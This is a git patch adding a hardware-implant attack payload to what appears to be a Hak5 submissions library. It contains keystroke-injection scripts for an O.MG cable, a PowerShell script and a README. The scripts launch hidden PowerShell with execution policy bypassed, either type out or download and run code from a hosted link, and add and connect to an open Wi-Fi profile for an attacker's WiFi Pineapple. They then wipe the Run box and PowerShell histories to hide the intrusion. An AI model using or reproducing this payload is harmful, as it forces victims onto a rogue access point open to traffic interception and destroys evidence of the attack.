From 0351716877f5c669f02124dce9ba2cb39b985775 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Mon, 18 Apr 2022 06:11:48 -0500 Subject: [PATCH] Add files via upload --- .../OMG-PineApple/OMG-IWR-PineApple.txt | 13 +++ .../general/OMG-PineApple/OMG-PineApple.ps1 | 29 +++++ .../general/OMG-PineApple/OMG-PineApple.txt | 79 ++++++++++++++ .../library/general/OMG-PineApple/README.md | 103 ++++++++++++++++++ 4 files changed, 224 insertions(+) create mode 100644 payloads/library/general/OMG-PineApple/OMG-IWR-PineApple.txt create mode 100644 payloads/library/general/OMG-PineApple/OMG-PineApple.ps1 create mode 100644 payloads/library/general/OMG-PineApple/OMG-PineApple.txt create mode 100644 payloads/library/general/OMG-PineApple/README.md diff --git a/payloads/library/general/OMG-PineApple/OMG-IWR-PineApple.txt b/payloads/library/general/OMG-PineApple/OMG-IWR-PineApple.txt new file mode 100644 index 0000000..5c3e20b --- /dev/null +++ b/payloads/library/general/OMG-PineApple/OMG-IWR-PineApple.txt @@ -0,0 +1,13 @@ +REM Title: OMG-PineApple +REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it +REM This version of the payload is executed using an invoke web-request to download and execute the file to add the PineApple's network profile +REM The powershell script needed is provided as OMG-PineApple.ps1 +REM Author: I am Jakoby +REM Target: Windows 10, 11 + +REM This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it + +GUI r +DELAY 500 +STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl +ENTER diff --git a/payloads/library/general/OMG-PineApple/OMG-PineApple.ps1 b/payloads/library/general/OMG-PineApple/OMG-PineApple.ps1 new file mode 100644 index 0000000..d5ac3fb --- /dev/null +++ b/payloads/library/general/OMG-PineApple/OMG-PineApple.ps1 @@ -0,0 +1,29 @@ +$profilefile="Home.xml" +$SSID="PineApple" +$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' +$xmlfile=" + +$SSID + + +$SSIDHEX +$SSID + + +ESS +manual + + + +open +none +false + + + + +" +$XMLFILE > ($profilefile) +netsh wlan add profile filename="$($profilefile)" +netsh wlan connect name=$SSID +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath diff --git a/payloads/library/general/OMG-PineApple/OMG-PineApple.txt b/payloads/library/general/OMG-PineApple/OMG-PineApple.txt new file mode 100644 index 0000000..3e057ae --- /dev/null +++ b/payloads/library/general/OMG-PineApple/OMG-PineApple.txt @@ -0,0 +1,79 @@ + +REM Title: OMG-PineApple +REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it +REM Author: I am Jakoby +REM Target: Windows 10, 11 + +DELAY 1000 + +REM If the wifi pineapple SSID is detected target PC will connect to it + +IF_PRESENT SSID="PineApple" + +GUI r +DELAY 500 +STRING powershell +DELAY 500 +ENTER + +STRING $profilefile="Home.xml"; +SHIFT ENTER +STRING $SSID="PineApple"; +SHIFT ENTER +STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' +SHIFT ENTER +DELAY 500 +STRING $xmlfile=" +SHIFT ENTER +STRING +SHIFT ENTER +STRING $SSID +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING $SSIDHEX +SHIFT ENTER +STRING $SSID +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING ESS +SHIFT ENTER +STRING manual +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING open +SHIFT ENTER +STRING none +SHIFT ENTER +STRING false +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING +SHIFT ENTER +STRING " +SHIFT ENTER +STRING $XMLFILE > ($profilefile) +SHIFT ENTER +STRING netsh wlan add profile filename="$($profilefile)" +SHIFT ENTER +STRING netsh wlan connect name=$SSID +SHIFT ENTER +STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath + +DELAY 500 +ENTER diff --git a/payloads/library/general/OMG-PineApple/README.md b/payloads/library/general/OMG-PineApple/README.md new file mode 100644 index 0000000..6d3de56 --- /dev/null +++ b/payloads/library/general/OMG-PineApple/README.md @@ -0,0 +1,103 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG-AcidBurn/logo-170-px.png?raw=true) + + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# OMG-PineApple + +A script used to connect a targets PC to your wifi PineApple + +## Description + +This program will use the OMG Cables geofencing capabilities to try and detect the Wifi PineApples wireless access point +It will generate an XML file that will be used to create a network profile for your Wifi PineApple. +Depending on your method of execution the XML file will either be manually entered into a powershell window +or you may use and Invoke Web-Request to download a script to add the network profile. After either the history of +the powershell window and run box will be erased for a clean exit. + +## Getting Started + +### Dependencies + +* DropBox or another File Hosting service - Your Shared link for the intended file +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in OMG Cable +* Either the entire script will be manually entered into the powershell window or +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory +* PS1 file to download is provided above +``` +powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

I am Jakoby

+


+ + + + + + + + + + + + + + + + + + + + Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/OMG-PineApple) +

+ + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + + + +

(back to top)